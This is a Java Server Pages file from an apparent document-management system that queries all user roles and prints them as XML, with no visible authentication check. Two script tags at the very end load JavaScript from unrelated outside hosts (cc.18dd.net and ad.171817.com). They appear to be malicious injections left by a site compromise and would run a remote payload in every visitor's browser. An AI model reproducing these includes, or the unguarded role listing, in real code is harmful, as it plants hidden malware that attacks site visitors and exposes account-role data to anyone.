<%@ page contentType="text/xml;charset=UTF-8"
%><%@ page import="com.dcivision.framework.*"
%><%@ page import="com.dcivision.framework.web.*"
%><%@ page import="com.dcivision.framework.bean.*"
%><%@ page import="com.dcivision.framework.dao.*"
%><%@ page import="com.dcivision.user.auth.*"
%><%@ page import="com.dcivision.user.bean.*"
%><%@ page import="com.dcivision.user.dao.*"
%><%@ page import="com.dcivision.dms.*"
%><%@ page import="com.dcivision.dms.bean.* "
%><%@ page import="com.dcivision.dms.core.* "
%><%@ page import="java.sql.*"
%><%@ page import="java.util.*"
%><%
  Connection conn = DataSourceFactory.getConnection();
  SessionContainer sessionCtn = new SessionContainer();
/*
  // Get User Groups Information.
  UserGroupDAObject userGroupDAO = new UserGroupDAObject(userSession, conn);
  List userGroups = userGroupDAO.getListByUserRecordIDGroupType(userRecord.getID(), com.dcivision.user.bean.UserGroup.GROUP_TYPE_PUBLIC);
*/

  // Get User Roles and Group Role Information (Union them with no duplicate roles).
  UserRoleDAObject userRoleDAO = new UserRoleDAObject(sessionCtn, conn);
  List userRoles = userRoleDAO.getFullList();

  out.println("<?xml version=\"1.0\" encoding=\"UTF-8\"?>");
  out.println("<UserRoles>");

  for (int i=0;i<userRoles.size();i++) {
      UserRole tmpUserRole = (UserRole)userRoles.get(i);
      out.println("<UserRole ID=\""+tmpUserRole.getID()+"\" RoleName=\""+TextUtility.htmlEncode(tmpUserRole.getRoleName())+"\" RoleDesc=\""+TextUtility.htmlEncode(tmpUserRole.getRoleDesc())+"\" RoleType=\""+TextUtility.htmlEncode(tmpUserRole.getRoleType())+"\" /> ");
  }

  out.println("</UserRoles>");

  try { conn.close(); } catch (Exception ignore) {} finally { conn = null; }
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>